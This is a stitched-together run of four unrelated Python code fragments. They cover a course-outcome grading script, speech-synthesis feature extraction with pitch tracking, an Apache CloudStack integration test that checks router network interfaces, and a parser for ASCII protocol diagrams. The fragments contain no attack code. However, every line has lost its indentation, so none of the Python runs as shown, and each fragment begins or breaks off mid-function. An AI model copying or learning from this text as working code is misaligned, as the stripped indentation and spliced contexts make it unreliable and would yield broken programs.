a = np.append([np.nan, np.nan],INTS[0].iloc[6:, 1]) # Roll Number
POS_write.append(a)
a = np.append([np.nan, np.nan],INTS[0].iloc[6:, 2]) # Name
POS_write.append(a)
EMPTY = np.ones(a.shape) * np.nan
POS_write.append(EMPTY)
POS_write.append(EMPTY)
## Append CO percentages here
for i in range(1,7):
try:
# a = np.append([np.nan, np.nan, np.nan],CO_percentage['CO' + str(i)])
# a = concat( ['', '', 'CO' + str(i)], np.array_str(CO_percentage['CO' + str(i)]) )
a = ['', '', 'CO' + str(i) + ' %'] + ["%.2f" % x if (math.isnan(x) == 0) else ' ' for x in CO_percentage['CO' + str(i)]]
POS_write.append(a)
except:
pass
POS_write.append(EMPTY)
PO_number = 1
for p in POS:
x = 0
count = 0
x_overall[p] = 0
for i in range(1,7):
try:
x += CO_percentage['CO' + str(i)] * POS[p][i + 1]
x_overall[p] += overallPercentage['CO' + str(i)] * POS[p][i + 1]
count += POS[p][i+1]
except:
pass
x = x / count
x_overall[p] = truncate(x_overall[p] / count)
if (PO_number <= 12):
x = ['', '', 'PO' + str(PO_number) + ' %' ] + ["%.2f" % itera if (math.isnan(itera) == 0) else ' ' for itera in x]
else:
x = ['', '', 'PSO' + str(PO_number - 12) + ' %' ] + ["%.2f" % itera if (math.isnan(itera) == 0) else ' ' for itera in x]
POS_write.append(x)
PO_number = PO_number + 1
def initSummary():
startRow = 3
startColumn = 3
iter = 1
CO_SUMMARY[startColumn + 3][startRow - 3 +
(iter - 1) * 7] = 'Total Students'
for key in COS:
if(key != 'CO Summary'):
CO_SUMMARY[startColumn + 4][startRow - 1 +
(iter - 1) * 7] = 'CO' + str(iter)
CO_SUMMARY[startColumn - 2][startRow + 2 +
(iter - 1) * 7] = 'Number of students'
CO_SUMMARY[startColumn - 2][startRow +
4 + (iter - 1) * 7] = 'Percentage'
CO_SUMMARY[startColumn + 1][startRow +
(iter - 1) * 7] = 'Cumulative'
CO_SUMMARY[startColumn][startRow + 1 +
(iter - 1) * 7] = 'Grade 3'
CO_SUMMARY[startColumn + 1][startRow + 1 +
(iter - 1) * 7] = 'Grade 2'
CO_SUMMARY[startColumn + 2][startRow + 1 +
(iter - 1) * 7] = 'Grade 1'
CO_SUMMARY[startColumn + 3][startRow +
1 + (iter - 1) * 7] = 'Avg Grade'
CO_SUMMARY[startColumn + 6][startRow +
(iter - 1) * 7] = 'End Semester'
CO_SUMMARY[startColumn + 5][startRow + 1 +
(iter - 1) * 7] = 'Grade 3'
CO_SUMMARY[startColumn + 6][startRow + 1 +
(iter - 1) * 7] = 'Grade 2'
CO_SUMMARY[startColumn + 7][startRow + 1 +
(iter - 1) * 7] = 'Grade 1'
CO_SUMMARY[startColumn + 8][startRow +
1 + (iter - 1) * 7] = 'Avg Grade'
iter += 1
i = 0
CO_SUMMARY[startColumn + 4 + i][startRow - 2 +
(iter ) * 7] = 'Overall POs'
for p in POS:
CO_SUMMARY[startColumn -2 + i][startRow - 1 +
(iter ) * 7] = p
i +=1
def finishSummary():
global x_overall,CO_SUMMARY
startColumn = 3
startRow = 3
i = 0
iter = 7
for p in POS:
CO_SUMMARY[startColumn -2 + i][startRow +
(iter ) * 7] = x_overall[p]
i +=1
def appendtoframe(obj, x, series=0):
write = (pd.DataFrame(x)).iloc[3:, 0]
if(series == 0):
obj.append(write)
else:
obj.append(pd.Series(x))
def readInternals():
iter = 1
COS['CO1'].append(INTS[0].iloc[3:, 1])
COS['CO1'].append(INTS[0].iloc[3:, 2])
COS['CO2'].append(INTS[0].iloc[3:, 1])
COS['CO2'].append(INTS[0].iloc[3:, 2])
COS['CO3'].append(INTS[0].iloc[3:, 1])
COS['CO3'].append(INTS[0].iloc[3:, 2])
COS['CO4'].append(INTS[0].iloc[3:, 1])
COS['CO4'].append(INTS[0].iloc[3:, 2])
COS['CO5'].append(INTS[0].iloc[3:, 1])
COS['CO5'].append(INTS[0].iloc[3:, 2])
COS['CO6'].append(INTS[0].iloc[3:, 1])
COS['CO6'].append(INTS[0].iloc[3:, 2])
for INT in INTS:
print('Finding COs from sheet :', iter)
iter += 1
for i in range(1, 1000):
try:
COS[str(INT.iat[5, 2+i])].append(INT.iloc[3:, 2+i])
# print(INT.iat[5,2+i])
INT_COS_count[INT.iat[5, 2+i]] += 1
except:
break
#print('Finding COs from ENDSEM')
for i in range(1, 1000):
try:
ENDSEM_COS_count[ENDSEM.iat[5, 2+i]] += 1
# COS[str(ENDSEM.iat[5, 2+i])].append(ENDSEM.iloc[3:, 2+i])
EMPTY = np.ones(ENDSEM.iloc[3:, 2+i].shape) * np.nan
COS[str(ENDSEM.iat[5, 2+i])].append(EMPTY)
except:
break
print('Done!')
# print(COS)
def truncate(f, n=2):
'''Truncates/pads a float f to n decimal places without rounding'''
s = '{}'.format(f)
if 'e' in s or 'E' in s:
return '{0:.{1}f}'.format(f, n)
i, p, d = s.partition('.')
return '.'.join([i, (d+'0'*n)[:n]])
def computeGrades(x):
ret = []
for p in x:
if(p >= GRADE_RANGES[0]):
ret.append(3)
elif(p >= GRADE_RANGES[1]):
ret.append(2)
else:
ret.append(1)
return ret
def addToSummary(entry, iter, t, g,type='num'):
startRow = 3
startColumn = 3
TEST = {'int':0,'end':5}
GRD = {'3':0,'2':1,'1':2,'avg':3}
type_offset = 1
if (type == 'percentage'):
type_offset = 3
CO_SUMMARY[startColumn + TEST[t] + GRD[g]][startRow + 1 +
type_offset + (iter - 1) * 7] = entry
def main(OP_FILE):
global INT_MARKS
global ENDSEM_MARKS
global INT_MARKS_PER_QUESTION
global ENDSEM_MARKS_PER_QUESTION
global INT_NUM_GRADES
global ENDSEM_NUM_GRADES
global NUM_STUDENTS, overallPercentage,x_overall
readInternals()
initSummary()
# print(COS['CO1'])
# writeToFile(r"./Course Outcomes.xlsx",COS)
iter = 1
for flag in COS:
if(flag != 'CO Summary'):
INT_MARKS.append((pd.DataFrame(COS[flag]).to_numpy()[
2:INT_COS_count[flag] + 2, 4:]).transpose())
INT_MARKS_PER_QUESTION.append((pd.DataFrame(COS[flag]).to_numpy()[
2:INT_COS_count[flag] + 2, 0]).transpose())
########################################################################################################################
ENDSEM_MARKS.append((pd.DataFrame(COS[flag]).to_numpy()[
INT_COS_count[flag] - ENDSEM_COS_count[flag] + 2:INT_COS_count[flag] + 2, 4:]).transpose())
ENDSEM_MARKS_PER_QUESTION.append((pd.DataFrame(COS[flag]).to_numpy(
)[INT_COS_count[flag] - ENDSEM_COS_count[flag] + 2:INT_COS_count[flag] + 2, 0]).transpose())
for l, k, m, n in zip(INT_MARKS_PER_QUESTION, INT_MARKS, ENDSEM_MARKS_PER_QUESTION, ENDSEM_MARKS):
# INT
l = np.array(l, dtype=float)
k = np.array(k, dtype=float)
SUM = np.nansum(k, axis=1)
ATTEMPTED = ~np.isnan(k)
ATTEMPTED_SUM = np.sum(np.multiply(ATTEMPTED, l), axis=1)
PERCENTAGE = (np.divide(SUM, ATTEMPTED_SUM) * 100).round(decimals=2)
CO_percentage['CO' + str(iter)] = PERCENTAGE
GRADES = computeGrades(PERCENTAGE)
NUM_STUDENTS = np.size(GRADES)
SUM = np.append([np.nan, np.nan, np.nan, np.nan,
np.nan, np.nan, np.nan], SUM)
| |
import json
import logging
import logging.handlers
import os
import re
import subprocess
import types
import uuid
import librosa
import numpy as np
import torch
from shutil import rmtree
from librosa.filters import mel as librosa_mel_fn
from scipy.io import wavfile
from daft_exprt.symbols import ascii, eos, punctuation, SIL_WORD_SYMBOL, whitespace
from daft_exprt.utils import launch_multi_process
_logger = logging.getLogger(__name__)
FILE_ROOT = os.path.dirname(os.path.realpath(__file__))
TMP_DIR = os.path.join(FILE_ROOT, 'tmp')
FEATURES_HPARAMS = ['centered', 'cutoff', 'f0_interval', 'filter_length', 'hop_length',
'language', 'mel_fmax', 'mel_fmin', 'min_clipping', 'max_f0', 'min_f0',
'n_mel_channels', 'order', 'sampling_rate', 'symbols', 'uv_cost', 'uv_interval']
def check_features_config_used(features_dir, hparams):
''' Check current config is the same than the one used in features directory
'''
# hyper-params that are important for feature extraction
same_config = True
for root, _, file_names in os.walk(os.path.normpath(features_dir)):
# extract config files
configs = [x for x in file_names if x.endswith('.json')]
if len(configs) != 0:
# get previous config
with open(os.path.join(root, configs[0])) as f:
data = f.read()
config = json.loads(data)
hparams_prev = types.SimpleNamespace(**config)
# compare params
for param in FEATURES_HPARAMS:
if getattr(hparams, param) != getattr(hparams_prev, param):
same_config = False
_logger.warning(f'Parameter "{param}" is different in "{root}" -- '
f'Was {getattr(hparams_prev, param)} and now is {getattr(hparams, param)}')
return same_config
def get_min_phone_duration(lines, min_phone_dur=1000.):
''' Extract shortest phone duration in the current .markers file
'''
# iterate over phones
for line in lines:
line = line.strip().split(sep='\t')
# extract phone duration
begin, end = float(line[0]), float(line[1])
if end - begin < min_phone_dur:
min_phone_dur = end - begin
return min_phone_dur
def duration_to_integer(float_durations, hparams, nb_samples=None):
''' Convert phoneme float durations to integer frame durations
'''
# estimate number of samples in audio
if nb_samples is None:
# get total duration of audio
# float_durations = [[phone_begin, phone_end], ...]
total_duration = sum([(x[1] - x[0]) for x in float_durations])
# convert in number of samples
nb_samples = int(total_duration * hparams.sampling_rate)
# get nb spectrogram frames
# ignore padding for the moment
nb_frames = 1 + int((nb_samples - hparams.filter_length) / hparams.hop_length)
# get spectrogram frames index
frames_idx = [int(hparams.filter_length / 2) + hparams.hop_length * i for i in range(nb_frames)]
# compute number of frames per phoneme
curr_frame = 1
int_durations = []
while curr_frame <= nb_frames:
# extract phoneme duration
begin, end = float_durations.pop(0)
if begin != end:
# convert to sample idx
begin, end = int(begin * hparams.sampling_rate), int(end * hparams.sampling_rate)
# get corresponding frames
nb_phone_frames = len([idx for idx in frames_idx if begin < idx <= end])
int_durations.append(nb_phone_frames)
curr_frame += nb_phone_frames
else: # we should not have 0 durations
raise ValueError
# add edge frames if padding is on
if hparams.centered:
nb_edge_frames = int(hparams.filter_length / 2 / hparams.hop_length)
# left padding
int_durations[0] += nb_edge_frames
# right padding
if len(float_durations) != 0: # correspond to last phoneme
int_durations.append(nb_edge_frames)
else:
int_durations[-1] += nb_edge_frames
return int_durations
def update_markers(file_name, lines, sentence, sent_begin, int_durations, hparams, logger):
''' Update markers:
- change timings to start from 0
- add punctuation or whitespace at word boundaries
- add EOS token at end of sentence
- add int durations
'''
# characters to consider in the sentence
if hparams.language == 'english':
all_chars = ascii + punctuation
else:
raise NotImplementedError()
'''
match words in the sentence with the ones in markers lines
Sentence: ,THAT's, an example'! ' of a sentence. . .'
Markers words: that s an example <sil> of a sentence
'''
# split sentence:
# [',', "that's", ',', 'an', "example'", '!', "'", 'of', 'a', 'sentence', '.', '.', '.', "'"]
sent_words = re.findall(f"[\w']+|[{punctuation}]", sentence.lower().strip())
# remove characters that are not letters or punctuation:
# [',', "that's", ',', 'an', "example'", '!', 'of', 'a', 'sentence', '.', '.', '.']
sent_words = [x for x in sent_words if len(re.sub(f'[^{all_chars}]', '', x)) != 0]
# be sure to begin the sentence with a word and not a punctuation
# ["that's", ',', 'an', "example'", '!', 'of', 'a', 'sentence', '.', '.', '.']
while sent_words[0] in punctuation:
sent_words.pop(0)
# keep only one punctuation type at the end
# ["that's", ',', 'an', "example'", '!', 'of', 'a', 'sentence']
punctuation_end = None
while sent_words[-1] in punctuation:
punctuation_end = sent_words.pop(-1)
# split markers lines -- [[begin, end, phone, word, word_idx], ....]
markers = [line.strip().split(sep='\t') for line in lines]
# extract markers words
# they are no '<sil>' at beginning and end of sentence because we trimmed the audio
# ['that', 's', 'an', example'', '<sil>', 'of', 'a', 'sentence']
words_idx = [marker[4] for marker in markers]
lines_idx = [words_idx.index(word_idx) for word_idx in list(dict.fromkeys(words_idx).keys())]
marker_words = [markers[line_idx][3] for line_idx in lines_idx]
# update markers with word boundaries
sent_words_copy, markers_old = sent_words.copy(), markers.copy()
markers, word_idx, word_error = [], 0, False
while len(sent_words) != 0:
# extract word in .lab sentence and .markers file
sent_word = sent_words.pop(0)
marker_word, marker_word_idx = markers_old[0][3], markers_old[0][4]
if marker_word != sent_word:
# we should have the same words
# generally the issue comes from the symbol '
# e.g. example' vs example or that's vs [that, s]
regex_word = re.findall(f"[\w]+|[{punctuation}]", sent_word)
if len(regex_word) == 1: # ['example']
sent_word = regex_word[0]
else: # ['that', 's']
sent_words = regex_word + sent_words
sent_word = sent_words.pop(0)
if marker_word != sent_word:
# cannot fix the mismatch between words
word_error = True
logger.warning(f'Correspondance issue between words in the .lab sentence and those in .markers file -- '
f'File name: {file_name} -- Sentence: {sent_words_copy} -- '
f'Markers: {marker_words} -- Problematic words: {sent_word} -- {marker_word}')
break
# retrieve all markers lines that correspond to the word
while len(markers_old) != 0 and markers_old[0][4] == marker_word_idx:
begin, end, phone, word, _ = markers_old.pop(0)
begin = f'{float(begin) - sent_begin:.3f}'
end = f'{float(end) - sent_begin:.3f}'
int_dur = str(int_durations.pop(0))
markers.append([begin, end, int_dur, phone, word, str(word_idx)])
# at this point we pass to the next word
# we must add a word boundary between two consecutive words
word_idx += 1
if len(sent_words) != 0:
word_bound = sent_words.pop(0) if sent_words[0] in punctuation else whitespace
# check if a silence marker is associated to the word boundary
if markers_old[0][3] == SIL_WORD_SYMBOL:
begin, end, _, _, _ = markers_old.pop(0)
begin = f'{float(begin) - sent_begin:.3f}'
end = f'{float(end) - sent_begin:.3f}'
int_dur = str(int_durations.pop(0))
markers.append([begin, end, int_dur, word_bound, word_bound, str(word_idx)])
else:
end_prev = markers[-1][1]
markers.append([end_prev, end_prev, str(0), word_bound, word_bound, str(word_idx)])
word_idx += 1
if not word_error:
# add end punctuation if there is one
if punctuation_end is not None:
end_prev = markers[-1][1]
markers.append([end_prev, end_prev, str(0), punctuation_end, punctuation_end, str(word_idx)])
word_idx += 1
# add EOS token
end_prev = markers[-1][1]
markers.append([end_prev, end_prev, str(0), eos, eos, str(word_idx)])
# check everything is correct
assert(len(sent_words) == len(markers_old) == len(int_durations) == 0), \
logger.error(f'File name: {file_name} -- length mismatch between lists: ({sent_words}, {markers_old}, {int_durations})')
return markers
else:
return None
def extract_pitch(wav, fs, hparams):
''' Extract pitch frames from audio using REAPER binary
Convert pitch to log scale and set unvoiced values to 0.
'''
# REAPER asks for int16 audios
# audio is in float32
wav = wav * 32768.0
wav = wav.astype('int16')
# save audio file locally
rand_name = str(uuid.uuid4())
out_dir = os.path.join(TMP_DIR, 'reaper')
os.makedirs(out_dir, exist_ok=True)
wav_file = os.path.join(out_dir, f'{rand_name}.wav')
wavfile.write(wav_file, fs, wav)
# extract pitch values
f0_file = wav_file.replace('.wav', '.f0')
process = ['reaper', '-i', f'{wav_file}',
'-a', '-f', f'{f0_file}',
'-e', f'{hparams.f0_interval}',
'-m', f'{hparams.min_f0}',
'-x', f'{hparams.max_f0}',
'-u', f'{hparams.uv_interval}',
'-w', f'{hparams.uv_cost}']
with open(os.devnull, 'wb') as devnull:
subprocess.check_call(process, stdout=devnull, stderr=subprocess.STDOUT)
# read PCM file
with open(f0_file, 'rb') as f:
buf = f.read()
pitch = np.frombuffer(buf, dtype='int16')
# extract unvoiced indexes
pitch = np.copy(pitch)
uv_idxs = np.where(pitch <= 0.)[0]
# put to log scale
pitch[uv_idxs] = 1000.
pitch = np.log(pitch)
# set unvoiced values to 0.
pitch[uv_idxs] = 0.
# extract pitch for each mel-spec frame
pitch_frames = pitch[::hparams.hop_length]
# edge case
if len(pitch) % hparams.hop_length == 0:
pitch_frames = np.append(pitch_frames, pitch[-1])
# delete files
os.remove(wav_file)
os.remove(f0_file)
return pitch_frames
def get_symbols_pitch(pitch, markers):
''' Compute mean pitch per symbol
pitch = NumPy array of shape (nb_mel_spec_frames, )
markers = [[begin, end, int_dur, symbol, word, word_idx], ...]
'''
idx = 0
symbols_pitch = []
for marker in markers:
# number of mel-spec frames assigned to the symbol
int_dur = int(marker[2])
if int_dur != 0:
# ignore unvoiced | |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""
Tests of acquiring IPs in multiple subnets for isolated network or vpc
"""
from nose.plugins.attrib import attr
from marvin.cloudstackAPI import rebootRouter
from marvin.cloudstackTestCase import cloudstackTestCase
import unittest
from marvin.lib.utils import (validateList,
get_host_credentials,
get_process_status,
cleanup_resources)
from marvin.lib.base import (Account,
Domain,
VirtualMachine,
ServiceOffering,
Zone,
Network,
NetworkOffering,
VPC,
VpcOffering,
PrivateGateway,
StaticNATRule,
NATRule,
PublicIPAddress,
PublicIpRange)
from marvin.lib.common import (get_domain,
get_zone,
get_free_vlan,
get_template,
list_hosts,
list_routers)
import logging
import random
class TestMultiplePublicIpSubnets(cloudstackTestCase):
@classmethod
def setUpClass(cls):
cls.testClient = super(
TestMultiplePublicIpSubnets,
cls).getClsTestClient()
cls.apiclient = cls.testClient.getApiClient()
cls.services = cls.testClient.getParsedTestDataConfig()
zone = get_zone(cls.apiclient, cls.testClient.getZoneForTests())
cls.zone = Zone(zone.__dict__)
cls.template = get_template(cls.apiclient, cls.zone.id)
cls._cleanup = []
cls.skip = False
if str(cls.zone.securitygroupsenabled) == "True":
cls.skip = True
return
cls.hypervisor = cls.testClient.getHypervisorInfo()
if cls.hypervisor.lower() not in ['kvm']:
cls.skip = True
return
cls.logger = logging.getLogger("TestMultiplePublicIpSubnets")
cls.stream_handler = logging.StreamHandler()
cls.logger.setLevel(logging.DEBUG)
cls.logger.addHandler(cls.stream_handler)
# Get Zone, Domain and templates
cls.domain = get_domain(cls.apiclient)
# Create small service offering
cls.service_offering = ServiceOffering.create(
cls.apiclient,
cls.services["service_offerings"]["small"]
)
cls._cleanup.append(cls.service_offering)
@classmethod
def tearDownClass(cls):
try:
cleanup_resources(cls.apiclient, cls._cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def setUp(cls):
if cls.skip:
cls.skipTest("Test can be run only on advanced zone and KVM hypervisor")
cls.apiclient = cls.testClient.getApiClient()
cls.cleanup = []
return
def tearDown(cls):
try:
cleanup_resources(cls.apiclient, cls.cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def get_router(self, router_id):
routers = list_routers(
self.apiclient,
id=router_id,
listall=True)
self.assertEqual(
isinstance(routers, list),
True,
"Check for list routers response return valid data"
)
self.assertNotEqual(
len(routers),
0,
"Check list router response"
)
return routers[0]
def get_routers(self, network_id):
routers = list_routers(
self.apiclient,
networkid=network_id,
listall=True)
self.assertEqual(
isinstance(routers, list),
True,
"Check for list routers response return valid data"
)
self.assertNotEqual(
len(routers),
0,
"Check list router response"
)
return routers
def get_vpc_routers(self, vpc_id):
routers = list_routers(
self.apiclient,
vpcid=vpc_id,
listall=True)
self.assertEqual(
isinstance(routers, list),
True,
"Check for list routers response return valid data"
)
self.assertNotEqual(
len(routers),
0,
"Check list router response"
)
return routers
def get_router_host(self, router):
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
hosts = list_hosts(
self.apiclient,
id=router.hostid)
self.assertEqual(
isinstance(hosts, list),
True,
"Check for list hosts response return valid data")
host = hosts[0]
if host.hypervisor.lower() not in "kvm":
return
host.user, host.password = get_host_credentials(self.config, host.ipaddress)
host.port=22
return host
def get_vpc_router_ips(self, router):
controlIp = None
sourcenatIp = None
tier1_Ip = None
tier2_Ip = None
for nic in router.nic:
if nic.traffictype == "Guest" and nic.ipaddress.startswith("10.250.1."):
tier1_Ip = nic.ipaddress
elif nic.traffictype == "Guest" and nic.ipaddress.startswith("10.250.2."):
tier2_Ip = nic.ipaddress
elif nic.traffictype == "Control":
controlIp = nic.ipaddress
elif sourcenatIp is None and nic.traffictype == "Public":
sourcenatIp = nic.ipaddress
return controlIp, sourcenatIp, tier1_Ip, tier2_Ip
def verify_router_publicnic_state(self, router, host, publicNics):
command = '/opt/cloud/bin/checkrouter.sh | cut -d ":" -f2 |tr -d " "'
self.logger.debug("Executing command '%s'" % command)
result = get_process_status(
host.ipaddress,
host.port,
host.user,
host.password,
router.linklocalip,
command)
self.assertTrue(len(result) > 0, "Cannot get router %s redundant state" % router.name)
redundant_state = result[0]
self.logger.debug("router %s redudnant state is %s" % (router.name, redundant_state))
if redundant_state == "FAULT":
self.logger.debug("Skip as redundant_state is %s" % redundant_state)
return
elif redundant_state == "PRIMARY":
command = 'ip link show |grep BROADCAST | egrep "%s" |grep "state DOWN" |wc -l' % publicNics
elif redundant_state == "BACKUP":
command = 'ip link show |grep BROADCAST | egrep "%s" |grep "state UP" |wc -l' % publicNics
result = get_process_status(
host.ipaddress,
host.port,
host.user,
host.password,
router.linklocalip,
command)
self.assertTrue(len(result) > 0 and result[0] == "0", "Expected result is 0 but actual result is %s" % result[0])
def verify_network_interfaces_in_router(self, router, host, expectedNics):
command = 'ip link show |grep BROADCAST | cut -d ":" -f2 |tr -d " "|tr "\n" ","'
self.logger.debug("Executing command '%s'" % command)
result = get_process_status(
host.ipaddress,
host.port,
host.user,
host.password,
router.linklocalip,
command)[0]
self.assertEqual(result, expectedNics, "Expected nics are %s but actual nics are %s" %(expectedNics, result))
def verify_ip_address_in_router(self, router, host, ipaddress, device, isExist=True):
command = 'ip addr show %s |grep "inet "|cut -d " " -f6 |cut -d "/" -f1 |grep -w %s' % (device,ipaddress)
self.logger.debug("Executing command '%s'" % command)
result = get_process_status(
host.ipaddress,
host.port,
host.user,
host.password,
router.linklocalip,
command)
self.assertEqual(len(result) > 0 and result[0] == ipaddress, isExist, "ip %s verification failed" % ipaddress)
def get_free_ipaddress(self, vlanId):
ipaddresses = PublicIPAddress.list(
self.apiclient,
vlanid=vlanId,
state='Free'
)
self.assertEqual(
isinstance(ipaddresses, list),
True,
"List ipaddresses should return a valid response for Free ipaddresses"
)
random.shuffle(ipaddresses)
return ipaddresses[0].ipaddress
@attr(tags=["advanced"], required_hardware="false")
def test_04_acquire_public_ips_in_vpc_with_redundant_vrs(self):
""" Acquire IPs in multiple subnets in vpc with redundant VRs
# Steps
# 1. get vpc offering with redundant VRs
# 2. create a vpc with the vpc offering
# verify the available nics in VR should be "eth0,eth1"
# verify the IPs in VR. eth0 -> control nic, eth1 -> source nat IP
# 3. create a tier in the vpc, and create a vm in the tier.
# verify the available nics in VR should be "eth0,eth1,eth2"
# verify the IPs in VR. eth0 -> control nic, eth1 -> source nat IP, eth2 -> tier 1
# 4. get a free public ip, assign to network, and create port forwarding rules (ssh) to the vm
# verify the available nics in VR should be "eth0,eth1,eth2"
# verify the IPs in VR. eth0 -> control nic, eth1 -> source nat IP, eth2 -> tier 1
# 5. remove the port forwarding rule, and release the new ip
# verify the available nics in VR should be "eth0,eth1,eth2"
# verify the IPs in VR. eth0 -> control nic, eth1 -> source nat IP, eth2 -> tier 1
# 6. create new public ip range 1
# 7. get a free ip in new ip range, assign to network, and create port forwarding rules (ssh) to the vm
# verify the available nics in VR should be "eth0,eth1,eth2,eth3"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 1
# 8. get a free ip in new ip range, assign to network, and create port forwarding rules (ssh) to the vm
# verify the available nics in VR should be "eth0,eth1,eth2,eth3"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 1/2
# 9. get a free ip in new ip range, assign to network, and create port forwarding rules (ssh) to the vm
# verify the available nics in VR should be "eth0,eth1,eth2,eth3"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 1/2/3
# 10. release new ip 2
# verify the available nics in VR should be "eth0,eth1,eth2,eth3"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 1/3
# 11. release new ip 1
# verify the available nics in VR should be "eth0,eth1,eth2,eth3"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 3
# 12. create a tier 2 in the vpc, and create a vm 2 in the tier2.
# verify the available nics in VR should be "eth0,eth1,eth2,eth3,eth4"
# verify the IPs in VR. eth1 -> source nat IP, eth2 -> tier 1, eth3 -> new ip 3, eth4 -> tier 2
# 13. create new public ip range 2
# 14. get a free ip 4 in new ip range | |
# =================================================================================================
# Copyright (C) 2018-2020 University of Glasgow
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# SPDX-License-Identifier: BSD-2-Clause
# =================================================================================================
import string
import parsley
import npt.rfc as rfc
import npt.protocol
from npt.parser import Parser
from typing import cast, Optional, Union, List, Tuple
def stem(phrase):
if phrase[-1] == 's':
return phrase[:-1]
else:
return phrase
def valid_field_name_convertor(name):
if name is not None:
return name.lower().replace(" ", "_")
else:
return None
def valid_type_name_convertor(name):
if name[0].isdigit():
name = "T" + name
name = ' '.join(name.replace('\n',' ').split())
return name.capitalize().replace(" ", "_").replace("-", "_")
def resolve_multiline_length(tokens):
# scan for variable length
field = " ".join([ desc for desc, delim, length in tokens if len(desc) > 0 ])
length = "var" if len([ delim for desc, delim, length in tokens if delim in [ ':', '...' ]]) > 0 \
else max([ length for desc, delim, length in tokens]) * (field.count('\n')+1)
return ( length , field.strip())
class AsciiDiagramsParser(Parser):
def __init__(self) -> None:
super().__init__()
def new_field(self, full_label, short_label, options, size, units, value_constraint, is_present, is_array):
return {"full_label": valid_field_name_convertor(full_label), "short_label": valid_field_name_convertor(short_label), "options" : options, "size": size, "units": units, "value_constraint": value_constraint, "is_present": is_present, "is_array": is_array}
def new_this(self):
return ("this")
def new_methodinvocation(self, target, method, arguments):
return("methodinvocation", target, method, arguments)
def new_fieldaccess(self, target, field_name):
return ("fieldaccess", target, field_name)
def new_constant(self, type_name, value):
return ("const", type_name, value)
def build_tree(self, start, pairs, expression_type):
ops = {"^" : ("pow", "arith"), "+": ("plus", "arith"), "-": ("minus", "arith"), "*": ("multiply", "arith"), "/": ("divide", "arith"), "%": ("modulo", "arith"),
">=": ("ge", "ord"), ">": ("gt", "ord"), "<": ("lt", "ord"), "<=": ("le", "ord"),
"&&": ("and", "bool"), "||": ("or", "bool"), "!": ("not", "bool"), "and": ("and", "bool"), "or": ("or", "bool"), "not": ("not", "bool"),
"==": ("eq", "equality"), "!=": ("ne", "equality")}
for pair in pairs:
if expression_type == "IfElse":
start = ("ifelse", start, pair[1], pair[2])
else:
start = ("method", start, ops[pair[0]][0], pair[1])
return start
def proc_diagram_fields(self, diagram_fields):
clean_diagram_fields = []
bits = 0
label = None
for field in diagram_fields:
if field == None:
continue
if ':' in field[1]:
field = ("var", field[1].replace(':', '').strip())
if field[1] == '' and type(field[0]) is int:
bits = bits + field[0]
continue
if field[1] == '+ +':
continue
if len(field[1]) > 0 and field[1][0] == '+' and field[1][-1] == '+':
label = field[1][1:-1].strip()
continue
clean_diagram_fields.append(field)
return clean_diagram_fields
def build_parser(self):
self.structs = {}
self.enums = {}
self.functions = {}
self.serialise_to = {}
self.parse_from = {}
with open("npt/grammar_asciidiagrams.txt") as grammarFile:
return parsley.makeGrammar(grammarFile.read(),
{
"ascii_uppercase" : string.ascii_uppercase,
"ascii_lowercase" : string.ascii_lowercase,
"ascii_letters" : string.ascii_letters,
"punctuation" : string.punctuation,
"new_constant" : self.new_constant,
"build_tree" : self.build_tree,
"new_fieldaccess" : self.new_fieldaccess,
"new_methodinvocation" : self.new_methodinvocation,
"new_this" : self.new_this,
"new_field" : self.new_field,
"proc_diagram_fields" : self.proc_diagram_fields,
"stem" : stem,
"resolve_multiline_length" : resolve_multiline_length,
"protocol" : self.proto
})
def process_diagram(self, artwork: str, parser) -> List[Tuple[Union[int, str], str]]:
delim_units = parser(artwork.strip()).diagram()
fields : List[Tuple[Union[int, str], str]] = []
for d_unit in delim_units:
hlines = d_unit.split(sep="\n")
begin, end = hlines[0][0], hlines[0][-1] if hlines[0][-1] in ['|', ':'] else '...'
min_sep = 2 if end == '|' else 1
if len(hlines) == 1:
fl = parser(d_unit).one_line()
elif hlines[0].count('|') == min_sep:
fl = parser(d_unit).multi_line()
else:
split_fields = []
for line in hlines:
